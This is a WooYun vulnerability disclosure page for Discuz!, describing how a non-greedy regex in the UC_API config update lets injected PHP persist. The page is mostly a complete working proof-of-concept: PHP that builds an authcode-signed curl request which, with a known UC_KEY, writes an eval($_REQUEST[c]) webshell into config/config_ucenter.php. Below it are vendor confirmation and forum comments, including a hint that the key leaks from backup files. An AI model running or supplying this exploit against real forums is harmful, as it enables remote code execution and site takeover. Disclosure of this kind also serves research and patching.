当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-048137

漏洞标题:Discuz的利用UC_KEY进行getshell

相关厂商:Discuz!

漏洞作者: 路人甲

提交时间:2014-01-07 11:43

修复时间:2014-02-21 11:43

公开时间:2014-02-21 11:43

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-07: 细节已通知厂商并且等待厂商处理中
2014-01-08: 厂商已经确认,细节仅向厂商公开
2014-01-18: 细节向核心白帽子及相关领域专家公开
2014-01-28: 细节向普通白帽子公开
2014-02-07: 细节向实习白帽子公开
2014-02-21: 细节向公众公开

简要描述:

知key得shell。

详细说明:

$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);


这句代码是有漏洞的。
如果我第一次提交的是

\');phpinfo();


define那句就变成了

define('UC_API','\');phpinfo();');


那么我下一次提交呢?
非贪婪匹配会匹配到

define('UC_API','\');


phpinfo();就留下来了。

漏洞证明:

<?php
$key = 'cebbvi5s15BSiMXteaP9TNCIz5K5jAVekw7tcV9TqmYCNT5VOJdu7toOxipTX';#少年 uc_key 写在这里
$url = 'http://localhost/api/uc.php';
$arg = 'action=updateapps&time='.time();#拿webshell:http://localhost/config/config_ucenter.php 密码:c
echo 'curl "'.$url.'?code='.rawurlencode(authcode($arg,'ENCODE',$key)).'" -d "'.addslashes('<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">https://sb\');eval(\$_REQUEST[c]);#</item></root>').'"';
#curl或者用其他工具post提交
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>

修复方案:

你懂的。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-01-08 09:45

厂商回复:

感谢您对我们产品的关注和支持,我们会尽快处理

最新状态:

暂无


漏洞评价:

评论

  1. 2014-01-07 11:44 | 灬相随灬 ( 普通白帽子 | Rank:369 漏洞数:68 | 大胆天下去得,小心寸步难行。)

    ...................

  2. 2014-01-07 11:49 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)

    终于还是发出来了....

  3. 2014-01-07 11:52 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    终于还是发出来了....

  4. 2014-01-07 11:58 | erevus ( 普通白帽子 | Rank:177 漏洞数:31 | Hacked by @ringzero 我錯了)

    想知道怎么知道UC_KEY

  5. 2014-01-07 12:01 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    ......

  6. 2014-01-07 12:14 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    @erevus BAK FILE!

  7. 2014-01-07 13:33 | YwiSax ( 实习白帽子 | Rank:62 漏洞数:4 | 淡定。)

    玩烂了。。。

  8. 2014-01-07 14:38 | Jumbo ( 普通白帽子 | Rank:111 漏洞数:29 | 猫 - http://www.chinabaiker.com)

    终于还是发出来了....

  9. 2014-01-07 14:45 | 王老公 ( 路人 | Rank:27 漏洞数:8 | 最新门事件 色中色门户网 www.sexofsex.ca ...)

    看完您的漏洞以后,我的心久久不能平静!这条漏洞构思新颖,题材独具匠心,段落清晰,情节诡异,跌宕起伏,主线分明,引人入胜,平淡中显示出不凡的文学功底,可谓是字字珠玑,句句经典,是我辈应学习之典范.就小说艺术的角度而言,可能不算太成功,但它的实验意义却远大于成功本身.一马奔腾,射雕引弓,天地在我心中!您不愧为无厘头界新一代开山怪!是你让我的心里重燃起希望之火,这是难得一见的好说!苍天有眼,让我在有生之年能观得如此精彩漏洞!真如"大音希声扫阴翳",犹如"拨开云雾见青天",使我等之辈看到希望,晴天霹雳,醍醐灌顶,不足以形容大师文章的构思;巫山行云,长江流水更难比拟大师的文才!你烛照天下,明见万里;雨露苍生,泽被万方!透过你深邃的文字,我仿佛看到了你鹰视狼顾,龙行虎步的伟岸英姿;仿佛看到了你手执如椽大笔,写天下文章的智慧神态;仿佛看见了你按剑四顾,江山无数的英武气概!你说的多好啊!我在网上打滚这么多年,所谓阅人无数,见怪不怪了,但一看您的气势,我就觉得您与在网上灌水的那帮小混蛋有着本质的差别,那忧郁的语调,那熟悉的签名,那高屋建瓴的辞藻,就足以证明您的伟大。是您让中华民族精神得以弘扬。佩服佩服

  10. 2014-01-07 15:03 | 渚熏 ( 路人 | Rank:10 漏洞数:4 | interesting.)

    汝之屌,汝父可知。

  11. 2014-01-07 15:40 | Skull ( 实习白帽子 | Rank:95 漏洞数:33 | 菜鸟一枚。)

    终于还是发出来了....

  12. 2014-01-07 15:49 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)

    终于还是发出来了....

  13. 2014-01-07 16:17 | hqdvista ( 普通白帽子 | Rank:154 漏洞数:31 | N/A)

    终于还是发出来了....

  14. 2014-01-07 18:59 | x7iao ( 普通白帽子 | Rank:348 漏洞数:41 | 文能床上控萝莉,武能床上定人妻)

    玩到吐了啊 人家猪猪侠拿着dz官方安装统计都扫了一个遍了

  15. 2014-01-07 21:05 | null ( 路人 | Rank:15 漏洞数:2 | 左岸是无法忘却的回忆,右岸是值得把握的青...)

    碉堡

  16. 2014-01-07 22:07 | Black Angel ( 普通白帽子 | Rank:163 漏洞数:35 | 最神奇的一群人,智慧低调又内敛,俗称马甲...)

    终于还是发出来了....

  17. 2014-01-07 22:30 | 情逍遥 ( 路人 | Rank:10 漏洞数:3 )

    终于还是发出来了....

  18. 2014-01-07 22:41 | 正好五个字 ( 实习白帽子 | Rank:93 漏洞数:15 )

    终于还是发出来了....

  19. 2014-01-08 10:01 | 风风 ( 普通白帽子 | Rank:101 漏洞数:43 | 。)

    猪哥肯定是日下了安装discuz论坛半壁江山的第一人啊

  20. 2014-01-08 10:02 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产;如遇接单收徒、绝非本人所...)

    永远的路人甲

  21. 2014-01-08 10:12 | 小葵 ( 实习白帽子 | Rank:84 漏洞数:11 | 我们是害虫,我们是害虫!)

    终于还是发出来了....

  22. 2014-01-08 11:20 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    discuz终于还是来确认漏洞了,可喜可贺 :)@Discuz! 以后也常来啊

  23. 2014-01-08 16:14 | x7iao ( 普通白帽子 | Rank:348 漏洞数:41 | 文能床上控萝莉,武能床上定人妻)

    @风风 说的好 都说他只是一头猪

  24. 2014-01-08 16:57 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    纳尼,确认了?看来discuz是打算修改这一部分的逻辑了?

  25. 2014-01-08 19:56 | Sunshie ( 实习白帽子 | Rank:58 漏洞数:10 | http://phpinfo.me)

    求利用方法...

  26. 2014-01-08 20:37 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)

    纳尼!!!!!!?!!确认了!?!!?!?!?!?!DZ怎么一回事...

  27. 2014-01-10 18:23 | jk_影 ( 实习白帽子 | Rank:59 漏洞数:9 | 专注google三十年)

    估计倒下了不少站点啊

  28. 2014-01-11 14:51 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    我早就看到了,exp我都有了!

  29. 2014-01-14 09:26 | 风风 ( 普通白帽子 | Rank:101 漏洞数:43 | 。)

    如果是这个 就蛋碎了http://www.oldjun.com/blog/index.php/archives/76/

  30. 2014-01-18 11:01 | kissy ( 路人 | Rank:12 漏洞数:3 | 本人真心热爱,渗透测试、软件逆向等技术,...)

    DZ X3.1 的可以么??

  31. 2014-11-16 19:15 | RainShine ( 路人 | Rank:2 漏洞数:4 )

    看完您的漏洞以后,我的心久久不能平静!这条漏洞构思新颖,题材独具匠心,段落清晰,情节诡异,跌宕起伏,主线分明,引人入胜,平淡中显示出不凡的文学功底,可谓是字字珠玑,句句经典,是我辈应学习之典范.就小说艺术的角度而言,可能不算太成功,但它的实验意义却远大于成功本身.一马奔腾,射雕引弓,天地在我心中!您不愧为无厘头界新一代开山怪!是你让我的心里重燃起希望之火,这是难得一见的好说!苍天有眼,让我在有生之年能观得如此精彩漏洞!真如"大音希声扫阴翳",犹如"拨开云雾见青天",使我等之辈看到希望,晴天霹雳,醍醐灌顶,不足以形容大师文章的构思;巫山行云,长江流水更难比拟大师的文才!你烛照天下,明见万里;雨露苍生,泽被万方!透过你深邃的文字,我仿佛看到了你鹰视狼顾,龙行虎步的伟岸英姿;仿佛看到了你手执如椽大笔,写天下文章的智慧神态;仿佛看见了你按剑四顾,江山无数的英武气概!你说的多好啊!我在网上打滚这么多年,所谓阅人无数,见怪不怪了,但一看您的气势,我就觉得您与在网上灌水的那帮小混蛋有着本质的差别,那忧郁的语调,那熟悉的签名,那高屋建瓴的辞藻,就足以证明您的伟大。是您让中华民族精神得以弘扬。佩服佩服

  32. 2014-11-16 23:53 | Black Angel ( 普通白帽子 | Rank:163 漏洞数:35 | 最神奇的一群人,智慧低调又内敛,俗称马甲...)

    @RainShine 我居然给看完了

  33. 2015-08-20 16:51 | BeenQuiver ( 普通白帽子 | Rank:101 漏洞数:26 | 专注而高效,坚持好的习惯千万不要放弃)

    吊吊吊